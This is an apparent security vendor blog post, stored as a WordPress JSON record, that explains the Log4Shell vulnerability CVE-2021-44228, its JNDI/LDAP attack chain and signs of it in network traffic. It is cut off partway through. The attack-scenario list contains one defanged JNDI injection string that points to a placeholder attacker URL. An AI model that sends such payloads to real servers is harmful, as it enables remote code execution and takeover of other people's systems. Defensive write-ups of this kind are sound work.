{"id":90781,"date":"2022-05-10T16:10:09","date_gmt":"2022-05-10T10:40:09","guid":{"rendered":"https:\/\/blogs.quickheal.com\/?p=90781"},"modified":"2023-10-17T15:25:10","modified_gmt":"2023-10-17T09:55:10","slug":"critical-zero-day-log4shell-vulnerability-cve-2021-44228-exploited-in-the-wild","status":"publish","type":"post","link":"https:\/\/www.quickheal.com\/blogs\/critical-zero-day-log4shell-vulnerability-cve-2021-44228-exploited-in-the-wild\/","title":{"rendered":"Critical Zero-Day \u201cLog4Shell\u201d Vulnerability \u201cCVE-2021-44228\u201d Exploited in the Wild"},"content":{"rendered":"

On December 9, 2021, Apache revealed a severe Remote code execution vulnerability CVE-2021-44228 named “Log4Shell” in Apache Java-based log4J logging utility. Threat actors used the utility to execute arbitrary code and take complete control of systems.<\/p>\n

Apache Log4j is an open-source Java-based utility widely used by cloud and enterprise software services for logging. Being used in many applications on various operating systems (like Windows, Linux, MAC, etc.) impacts all versions from 2.0-beta9 to 2.14.1. Threat actors have widely exploited Log4J to scan the internet-facing servers to identify vulnerable servers.<\/p>\n

It is a high-profile security vulnerability with a severity score of 10, the max severity rating possible, and one of the most critical vulnerabilities ever due to its ease of exploitation and the number of affected enterprise applications and cloud services.<\/p>\n

What is Log4Shell Vulnerability? <\/b><\/strong><\/h3>\n

The Java Naming and Directory Interface (JNDI) used by Log4j to lookup supported services and protocols such as LDAP, DNS, RMI, NIS, NDS, CORBA, and IIOP allows for helpful information to be remotely retrieved. On a vulnerable Log4J system, the attacker who can control log messages or parameters can execute arbitrary code loaded from LDAP or supported services while message lookup substitution is enabled.<\/p>\n

An unauthenticated, remote attacker could exploit it by sending a specially crafted JNDI injection in the simple HTTP request to a vulnerable log4j serve. Once the request is processed, log4j loads the JNDI resources from the server (i.e., LDAP) controlled by attackers that loaded payload could be malicious & include shell script or Java class file to the targeted system. Successful exploitation could lead to arbitrary code execution, and the attacker can take complete control of the compromised system.<\/p>\n

The vulnerability was discovered on 24th Nov-21, first exploitation was observed on 1st Dec-21. After the initial fix patch, further other vulnerabilities, CVE-2021-45046 (remote code execution) & CVE-2021-45105 (denial-of-service) identified; are fixed in subsequent versions.<\/p>\n

\"\"<\/p>\n

Log4Shell Exploit Explanation <\/b><\/strong><\/h3>\n

In the standard scenario<\/b><\/strong>, HTTP requests would be logged by the log4j utility at the server for debugging or another purpose whenever log analysis is required.<\/p>\n

\"\"<\/p>\n

 <\/p>\n

In an attack scenario<\/b><\/strong>, the Log4Shell could be exploited by an unauthenticated, remote attacker with JNDI payload in a simple HTTP request on a server with vulnerable log4j.<\/p>\n

\"\"<\/p>\n

JDNI lookup would look like as below, where JNDI will try to fetch the payload from attackers-URL that would compromise the targeted server.<\/p>\n

\"\"<\/p>\n

\u00a0Attack scenario<\/strong><\/h3>\n
    \n
  1. Attacker sends crafted HTTP request with jndi LDAP string “${jndi[:]ldap[:]\/\/attackers-url>\/<payload>}” in user agent header to target server.<\/li>\n
  2. Targeting the server with vulnerable log4j logs and processing the JNDI LDAP string results in an LDAP query to the attacker\u2019s malicious LDAP server.<\/li>\n
  3. Attacker\u2019s LDAP server response with directory information with a malicious payload like java class or shellcode location.<\/li>\n
  4. Malicious payload like java class file or shellcode download is requested and further executed at the targeted system, which may lead to arbitrary code execution & full compromise of the victim system.<\/li>\n<\/ol>\n

    Attackers use various techniques in JNDI supported payloads like below using other protocols, encoding, obfuscation etc., to bypass the common detections by network security products.<\/i><\/p>\n

    \"\"<\/p>\n

    Network traffic examples<\/b><\/strong><\/h3>\n
      \n
    1. In the below snapshot, the HTTP Get request contains a URL encoded JNDI LDAP with a base64 encoded payload.<\/li>\n<\/ol>\n

      \"\"<\/p>\n

      2. In the User-Agent HTTP header, a simple JNDI LDAP string connects to a malicious URL.<\/p>\n

      \"\"<\/p>\n

      3. Here \u00a0X-API-Version header contains obfuscation (bypass techniques) jndi Ldap string with base64 encoded payload<\/p>\n

      \"\"<\/p>\n

      The crafted JNDI string can be sent via URL or some of many HTTP headers listed below:<\/p>\n